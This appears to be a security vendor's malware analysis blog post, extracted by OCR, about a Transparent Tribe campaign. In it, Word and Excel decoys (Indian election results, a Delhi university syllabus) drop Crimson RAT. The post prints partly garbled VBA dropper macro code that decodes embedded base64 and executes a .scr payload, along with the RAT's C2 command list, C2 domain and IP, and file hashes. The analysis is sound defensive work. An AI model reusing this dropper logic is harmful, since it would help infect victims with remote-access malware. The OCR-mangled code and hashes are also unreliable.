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Transparent Tribe targets recent Election Results

By Dhanush : : 7/23/2024

Recently, we saw a tweet about a document claiming to be reporting about the recent “Indian Election Results”. On
analysis, we found that it was dropping a “Crimson RAT” payload. This RAT, mostly used by the Transparent Tribe
APT, is capable of stealing credentials and other sensitive information. While checking the I0C’s related to this
Crimson RAT, we also noticed that there was another Excel file which was disguised as “Syllabus of a University in
Delhi”.

This blog gets into the technical details of this document having a Crimson RAT payload.
“Y" Yogesh Londhe

Decoy theme
Uttarakhand Election Result

CONFIDENCIAL RL.docm[.zip
4473b78e67067a9299227cc02bBe28e2

hacrvidth vibev].zip
3ceefc61dB896f9...

Figure 1: Tweet

Transparent Tribe APT

Transparent Tribe, a group believed to operate out of Pakistan, has been active since 2013. Their primary focus is on
infiltrating diplomatic, defence, and research entities located in India and Afghanistan. This time election results were
used as a bait to target Indian netizens.

Technical Details

The initial vector was a .docm file which has by default macro enabled setting. This document file contains embedded
files, which includes the “Crimson RAT” payload and the Election results document.

| | oleObject3.bin EIM File 224 KB
| | oleObject5.bin EIM File 7,641 KB
| | oleObjectd7.bin EIM File 270 KB
| | oleObject10.bin EIM File 2

| | oleObject11.bin BIM File

Figure 2: Embedded files

After extracting the macro contents from the document using olevba, it copies the files into the folder named
Data(sec)(min).
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folder wagousaulhtu name = VBA.Environ$ ("USERPROFILE") & "\AppData\Data" & "" & Second(Now) & Minute (Now) &

swagousaulhtueName = ThisDocument.Name

folder_wagousaulhtu_zipfl = folder wagousaulhtu name & swagousaulhtueName & Replace(".zi_p", "_", "")
If Dir(folder wagousaulhtu name, vbDirectory) = "" Then
MkDir (folder wagousaulhtu name)
End If
If Dir(folder wagousaulhtu zipfl, vbDirectory) = "" Then

FDerwagousaulhtusSio.CopyFile ThisDocument.FullName, folder_wagousaulhtu zipfl, True

wagousaulhtupdsp.Namespace (folder_wagousaulhtu name) .CopyHere wagousaulhtupdsp.Namespace (folder_wagousaulhtu_zipfl) .iter

End If
Figure 3: Copies the files to appdata

Here, it checks for the Office version and decodes the embedded files using oleobject7, oleobject10 and oleobject11.
All the three files contain a base64 encoded zip file having the “Crimson RAT” payload.

If pir(folder wagousaulhtu finalfile, vbDirectory) = "" Then
If Instr{Application.system.version, "10.0") Then y 5 for e version
wagousaulhtuIput = revdbndfile (folder wagousaulhtu_ name & Replace (" embe ddings\oleOb jectll.bi n™, " ™, ""))
Else
If InStr{application.System.Version, ".01") Then
wagousaulhtuIput = revdbndfile(folder wagousaulhtu name & Replace("wo & i =] L ey BR)
Else
wagousaulhtulput = revdbndfile{folder wagousaulhtu name & Replace("w 1 ctl = i T
End If
End If

Figure 4: Checks for Office version

In the revdbndfile function, it reads contents of one of the oleobject.bin and converts it into a string. The Decabav6f
function (seen in Fig 5) is used to convert the base64 encoded string into a byte array by setting its datatype as
base64. The BirvTrving function (seen in Fig 5) is later used to convert it back into a string by iterating through each
byte.

Function revdbndfile (ByVal strFile) = oleObject07.bin £
1  UEsDBBORAAAIAHSIT1hlKjo4UygDAACWMDOETAAAAAGF]cnZpZHROIHZpYmV2LnBuZ+y8CXiUlEX4£953
Dim iTxtFile As Integer 1mkplsAgkZ 9oGEMIQAWPKQAKmMYSJBFrWEyMWmDkSNWVpOE1GBS1LgigLUFalWsVaz 7TVpLfSqrVWe25rla
Dim strFileText As String tW7SutRalLbYKv3PufWoSCKSFZ/w/ / 6c9USPfuy/nnvs55742d0Epl 4ETAMz4d+ARwANgF3Pg33+63c5d
iTxtFile = FreeFile Ab7nUEPewBScSnhylbESF9bVqEROu0+0KBWCYe8 DRE £Vp7zBe J+WoXN/ha4 6Fwmcv1HGn0saQ04ETFED

2 : amSzst83YThkKOUASIMU+KEq8uaNxrgPI 3PwSb0j uCrnTZ/ kEyCmgGyC] znnAnsSL/ 3qEqY£ 4 £DrgDCUX
Open strFile For Input As FreeFile DEWmMOqSPud 2apk4mMN 1 ivsX3rkiw+n3vdpx,/ SCPumyRHNSAD,/MWI110VoEGREZVSdpunbEuIobrXoTEp
StrFileText = VBA.Input (LOF(iTxtFile), iTxtFile) g97PHPYVTATH411R5kpzFn39uPXQe i VwyGfUaNkXzU0FCOR1 SNHIAJQ5FcBgPxsn8Z01B/Uz0GdTuQTk
Close iTxtFile 2gAZM+BCEIBGSCSSyJCzL2WkdDEsZes 11 Tsqm2ETJzwerF63n1Znj DEEPVTDERuZCOERPo9XEjabeHL

. o . SciH1RT+0ViArTdOmYat27QRFIZBWE+MZXE VT DEx/ 6b8vC/Ke/ €N+U3Hals 3CnF+/WSKNpRESZpWEOT
revdbnd£I1eSS SLIEFLETEXE ME23wOIKEcAqeDUGSPiGZ0/ 2BskgG2zHxXSZXdsT3HDB5 2 £Dhm5 198 1 cKRYMUk§ uL UL TN/ PPOTIX1wFK
OexbIpW/s0ZYS8BIHUETZINAOTaJxsTRTXEMWE051GLqd4Hi HImOfxQ+MIUNTAL2 +GhaB47gdD1KF+Na

End Function nrK4j3SNYcsOzmak/2n4tNe7l/psfs9+M]Pz4Rmd 82t uAWWaxOrUKE 6=BiukcH] tw4MDeDGupzRIPIL

BnstOJWSMIS0rZBklg3bdkKGlCAF Tv8ZWLKEXt 1gJ0g+JGVg80+11d1KZ+Py/eNodSidEi1d1KE2LExV

ke FWVU£vFZ1/hLal7TbDWmmhPksrtiC0rSHo337DMew0BhyE £kb/ Ydobx+dNhRZaq8pNVLVNXEayWndEL

. - r2bYpu2gpVizt6dgzJI1MsHuys8x1505P0btORacohRpKamF1WMEdcwd 11 kxgHKFKzMMXvMDp2z2k9aC

Function DecaBavef (ByVal strInput) As Byte() 2g22y201p0C+0RW) I/ T9oKyTN1bKiiGNuT5KbhDE DEwzTVwa ] 4RILxeEPGUENMVAx3hRSGNr1YiPw/0d

Dim objXML, objNode OFd9UX9NsBafNgG/WnH/CTo31WFoLYgEL2ayySEYUUT6WOHzSZe 67 £FK] JMEJEqUAL TPPORBORSEIOTX
Set objXML = CreateObject ("MSXML2.DOMDocument.6.0") KkTxQThpLEpQICQKz3gD5RTI8+5YyoxidTaltsC] 258anyMYOGLWE 7 yUOFnCk4q00mTM3sn46F2gW4GD

. o . e MQ1nCViprgkul 8oN/h1UVoVBT 51Qc0X/ xX£TIrTrD1 PgpI THD1OARE 85 JL5pGNPTaC5zKReTCEmYTE1
BEEHObINCdElS 'Ob3XME: createblement(aboAr) 33y15212I0jW6a9rjLUYGYpUST6FGWOSs FuzACET] TVRKMANO=0A4uiuZTNEdjgagl S8hadReSIskovs.
¥¥+6gRrGRWNL3EACN+ROxmzRLL1DY£0ZN1zuzxCUSb] ePgr9c61670Pkghb8aBKSFLBVCELvyE41iRspom

objNode.DataType = "bin.base6d" mth7QRUXnnhKQ+NiliEngGXkHS6iW0eWjupg4] 65nEQEUS 6pLyi /CM19J0£4n1niCR+9ENcsbn¥TDaKH
obiNode.Text = strInput WDT']SEWjqucYY!:mqkfs::BUVnXRDEleEh};EpS4G,t’sG[.qed4PSClFsGnD'iEyLS/fNaBUSSwQQ\;‘f:kWZ}IE

= . vUeLDTySSYmW1XNxxHgvoWDYggSNxvd] SN/ 8 £+AwesSRNFXZusi8dF111TdRdhULAKayOepu/B2nA0/H

DecaBaveE SobiNgder NodeTypedvaluc 1¥YL50t/SFsp30£4Z8Bd THUenURSLNFOzFaE/qbl YC1bFF9M4SzDIEDuSaT/ ¥ tiPvCP2I++1/cqTYi/y
3JF3jrgchS0PR//tcBx2N460V] Jwlt5066FTUTDS2J0XhLyNk]1BtOLOkwkYTFeEnQPJPhOSKP£AT /XaaT

Set objNode = Nothing FR1H1qL1yFKOH1mK1iNLOSqkmGETrBRt/aVo0ewleVyne42vp3+N/ zrsGgeZ+qlxmulTalQB/QpwCZ+

Set objXML = Nothing PAQEDO3WS qQUEKA6E2Az JCH] 12Fk2RLks3c5M1A1Zd1 TibSKUOZGQiN618GKYUSLn5yb8LXgOLXt 500ud

taK35DsBZxpL2ZtRXFS8WVIFtUTpzcyPryoS6A3vnoPBknr SNMzwElvkEvhPFO/ £GzhDnwlDOYG/Ucsq

€MeQZETré/yXgEXVNrwTndSRXGEGSEf210Ezaezbl14y0iru63InSs+hoaLldlMyqastZR1RuBC41G319

PBXBM7£Yh 3gMDONFNuwKeeY3xLFhtPj SCm7NSvLchgmR43E112arG3zUcRybYg30adAFga0Z+MeQuR2d

End Function

Function BirvTrving(arrByvtes) nez2DM1rXbaONGCES8QphBEI P+ PuoW9w0ZTXDTHS 1gkHE PkY TCogPNO25q2dTEMCSEMI BNEZ 6NE0XSE /B
Dim i, stroutput b3H2CcA03213cbx1KQ11Hq0QYFZNKPPCD3Ks/ vInTpWE2haylbSQTP0Te] 81X8CE/ En1zbCT/ JF+ERYLY
stroutput - " 53553P155vRy1eN4Fki A41=KTM/ egCHp1W1 HEUKBMVNS 770/ P6ToaNKPsABGMaT Obe SHC2 PASCSNIT

; 42RzbP40uRK0C/ Y TFs/ k58904 / 35T e PARKDN 1 XeKouSHT Sr.COMVAF 3thTHC/ 1 Ha3UG4LSLURSVEY
For i = 0 To UBound(arrByvtes) eqW9GubgymibKp/ kqgNYckuoHC3POKe ryus PSOHWUR++5PVe] ELgS TnfalUSMdLkYoLCnkNp EnQr 7809
stroutput = stroutput & VBA.Chr(arrByvtes (i)) 1A01JBWSBb1W2Mcg THWEJOL FOL tMhwuv0PIaiyuUI+L1Y5200Lt 2Ra0G3W 61hhv ] LghVYHuMRX inEOm
Newxt ATSHmCkMAGEugbKGOSTEAKS 26 Jvb Zr9vTGD/ Grvim Rhs 11 5KIVx2Th1 KASSTI £ 1 L5 1KGOBYmATrS

BirvTrving = stroutput
End Function

Figure 5: Base64 decoding

1ZBfpibt8DiM5U85gh4c5mQPTo+21IGECMoQvBBzn0kLNUX00sCTcZAThxktxpr TrH1G3+YLzX2aZ30v

After decoding the base64 string, it is written to the Appdata folder. It then copies and decompresses it into the
Documents folder as a screensaver file “hacrvidth vibev.scr” and executes it.
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folder_wagousaulhtu_tair p = VBA.Environ$ ("U
folder_wagousaulhtu tair final = VBA.Environ$
file wagousaulhtu tair name =
file wagousaulhtu tair_zip = file wagousaulhtu tair name & "." & Replace(
file wagousaulhtu tair png = file wagousaulhtu tair name & "." & Replacs( .
folder wagousaulhtu finalfile = folder wagousaulhtu tair final & file wagousaulhtu tair name & "." & Replace("s c ="

nyogm
ny g

If Dir (folder_ wagousaulhtu finalfile, vbDirectory) = " Then
If InStr(Application.System.Version, "10.0") Then 'Checks for the version'
wagousaulhtulput = revdbndfile(folder wagousaulhtu_ name & Replace("wo
Else
If InStr(Rpplication.System.Version, ".01") Then
wagousaulhtuIput = revdbndfile (folder wagousaulhtu name & Replace ("wo_rd

W, omonwmyy

Else
wagousaulhtulput = revdbndfile (folder wagousaulhtu name & Replace ("wo_rd
End If
End If

arrvagousaulhtuut = DecaBavéf (wagousaulhtuIput)

Set objwagousaulhtuFSOFile = objwagousaulhtuFSO.CreateTextFile(folder wagousaulhtu tair zip & file wagousaulhtu tair_zip, True)
objwagousaulhtuFSOFile.Write BirvTrving(arrwagousaulhtuut) = - - . - e
objwagousaulhtuFSOFile.Close

Set objwagousaulhtuFSOFile = Nothing

Set objwagousaulhtuFSO = Nothing

wagousaulhtupdsp. (folder 1htu_tair_final) .CopyHere wagousaulhtupdsp.Namespace (folder wagousaulhtu_tair_zip & file wagousaulhtu tair_zip).items 'zip decompre
Name folder wagousaulhtu tair_final & file wagousaulhtu _tair_png As folder wagousaulhtu finalfile

End If

Call shell("""" & folder|waqousaulhtu finalfile & """ """, vbMaximizedFocus)

Figure 6: Payload (Crimson RAT)

Simultaneously, it executes another embedded doc file(oleobject3.bin), which is actually the decoy file having the
election results of Uttarakhand.

Dim docvvsath As String

docvvsath = VBA.Environ$ ("U ILE") & "\D & swagousaulhtueName & ".do" & Replace("cx i PSS ")
If Dir(docwvsath) = "" Then

Name folder wagousaulhtu_ name & Replace(” mow,o "y As docwvsath
End If

Documents.Open FileName:=docwwsath, ConfirmConversions:=False, _
ReadOnly:=False, RddToRecentFiles:=False, PasswordDocument:="",
PasswordTemplate:="", Revert:=False, WritePasswordDocument:="",

WritePasswordTemplate:="", Format:=wdOpenFormatAuto, XMLTransform:=""

Figure 7: Loading embedded decoy

UTTARAKHAND ELECTION RESULTS 2024 HIGHLIGHTS: BJP WINS ALL 5
SEATS; REPEATS VICTORIES IN THE STATE

The BJP has won all 5 seats against INC candidates.

% The BJP has repeated its victories in Uttarakhand in the 2024 General
Election. The incumbent party has won all five seats. Uttarakhand Chief
Minister Pushkar Singh Dhami thanked party workers and people for BJP's
“landslide victory” in a press meet. The 24-year-old Himalayan State has

given back-to-back victories to the BJP in the 2014 and 2019 Lok Sabha

elections.
General Election 2024: full schedule

¥ The polls were held a single poll on April 19, in the first phase of the 18th
Lok Sabha polls. Two of the five Lok Sabha seats here — Nainital-Udham
Singh Nagar, and Almora — are situated in the Kumaon region. The

remaining three — Haridwar, Tehri Garhwal, and Garhwal (Pauri) — are in

the Garhwal region. The electoral fight was contested between the BJP-led
National Democratic Alliance (NDA), INC-led INDIA alliance, and other
parties like the Bahujan Samaj Party (BSP), People’s Party of India

(Democratic).
Figure 8: Decoy file content

As said, another Excel file disguised as the syllabus of a university also drops the same Crimson RAT. Here is the
content of the decoy file.
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LADY SHRI RAM COLLEGE
UNIVERSITY OF DELHI

Bachelor of Commerce (Honours)
B Com (Hons.)

(Effective from Academic Year 2024)
B.Com. (Hons.): Semester-TV
Paper BCH 5.3(c): MACRO ECONOMICS
Duration: 3 Hrs. Marks: 100 Credits: 6
Course Objective
To provide the students with inowledge of enriching concepts and variables of macro-economics; appreciate the impact of fabor market, money market and foreign exchange on working of an economy and understand the modern toos of macro-economic anafg
Conrse Learning Outcomes
After completing the course, the student shafl be able to
CO1: describe the nature and scope of Macro Economics, Income, Expenditure and their
components and determinants.
C02: expose fiscal and monetary policy implications through IS-LM frameswork in short run and long run.
C03: comprehend the different theories of demand for money. supply of money approach and working of money multipfier
CO4: elucidate causes and effects of different types of inflation and trade-off between inflation and unemployment.
|CO5: describe the role of saving and investment in different size of economies on trade and
exchange rate and rate of interest.
Course Contents

Unit I: Introduction
Tntroduction — Concepts and variables of macroeconomics, Income, Expenditure and the circular flow (three sector economy), C of expenditure. C Saving and investment and S-1 approach, Multiptier (three sector) and numerical

Unit IT: Economy in the Short Run

Meaning, Objectives and instruments of fiscal and monetary poficy, AD-AS approach-

Determination of aggregate demand, Shifts in aggregate demand, Aggregate supply in the short-

run and long-run, Aggregate demand- Agaregate supply analysis. Economy in the short run- IS— LM framework and numericals
Unit ITT: Demand for money and Supply of money

Figure 9: Syllabus decoy

Crimson RAT

The payload, on execution, sleeps for about 25 minutes, so as to hinder sandboxing. It then adds a run registry of the
current user with a random hardcoded name for persistence.

d + app, path);

Figure 11: Run registry persistence

Once again, it sleeps for about 20 minutes before it tries to connect to its C2 from the hardcoded domain and IP. If the
payload does not connect to the attacker, the process exits.

Figure 12: Second sleep call
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-t objsVurce)

[DNS Query Received.]
Domain name: wagers.duckdns.org
[DNS Response sent.
100 %
Locals
Name Value
4 System.Te returned
returned

Figure 13: Hardcoded C2

On connecting to the C2 server, the command and data to the process (getsEtype Func) are sent. The malware then

modifies the commands by inserting an integer value 5 before the 4™ character and executing the code by comparing
with the received commands. If the attacker sends a null command, the process exits.

Figure 14: Modified C2 commands

These are the following C2 commands which could be executed.

thy5umb Sends the picture back to c2 in gif
gey5tavs, pry5ocl Gets the list of all running process

scy5uren, scy5ren, scyrben, scyubren,

cdy5crgn, csy5crgn, csy5dergn Takes a screenshot and sends it back in jpeg

puybtsrt Creates a run registry key

doy5wf Writes data into a file from the given path

diy5rs Retrieves the list of Drives in the system

fiySlsz Gets info of a file from the system

iny5fo Gets the OS info, User Domain and Username info.

liy5stf Ge.ts the file path 'and file info frqm all the sub directories
which has extension, from the given path

flySes Check for the files in the given directory

ruy5nf Ability to run commands

udysit Writes data. int.o the file(itaivsasidr.exe) in the same
folder as this file(Document folder)

fiyble, afy5ile Sends the contents of a file which path was given

dey5lt Delete a file in the given path
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doy5wr
flysdr

By using these commands, they can access all the files, pictures, system info, the running processes from the
system. It also has the capability to delete the files in the system and also to download additional payloads and

execute them.

The discovery of malware disguised as a “Lok Sabha Election Results” document from India, underscores the tricky
strategies employed by cyber attackers. As cyber threats continue to evolve, staying informed and proactive is
essential to protect against such deceptive and potentially disruptive attacks. At K7 Labs, we provide robust detection
for these RATs and other day-to-day threats. We recommend using a dependable security solution like “K7 Total

Writes data into a file from the given path
Check for the sub directories from the given directory

Security” and keeping it up-to-date to safeguard your devices effectively.

I0Cs

Malware Type Hash Detection name

Election Lure
Syllabus Lure
Crimson RAT
Crimson RAT
Crimson RAT
Crimson RAT
Crimson RAT
Crimson RAT

C2

4473b78e6706729299227cc02b8e28e2 Trojan ( 0001140e1 )
ad90e16ead4a9fe11525da7669cb4b8ee Trojan ( 0001140e1 )
e6f4bb8ed235f43cb738447fbf1757¢3  Trojan ( 005b635b1 )
da2331ac3e073164d54bcc5323¢f0250 Trojan ( 005b67de1 )
a54c435bdbc17608fa0b8826bbe9936d Trojan ( 005b67de1 )
7a18b1bfob07726327ba50e549764731 Trojan ( 005b635b1 )
d6b38a2272876d039d48b46aa874e7b9 Trojan ( 005b67de1 )
f49375748b279565b5aed83d9ee01eb2 Trojan ( 005b635b1 )

Domain: waqers[.duckdns[.com

IP: 94.72.105.227

Decoy

Election Decoy — 24fc6cacfbf0f87d2a24be7361c78c76

Syllabus Decoy — 4166a122e5eac964ba9f4b22e2881052
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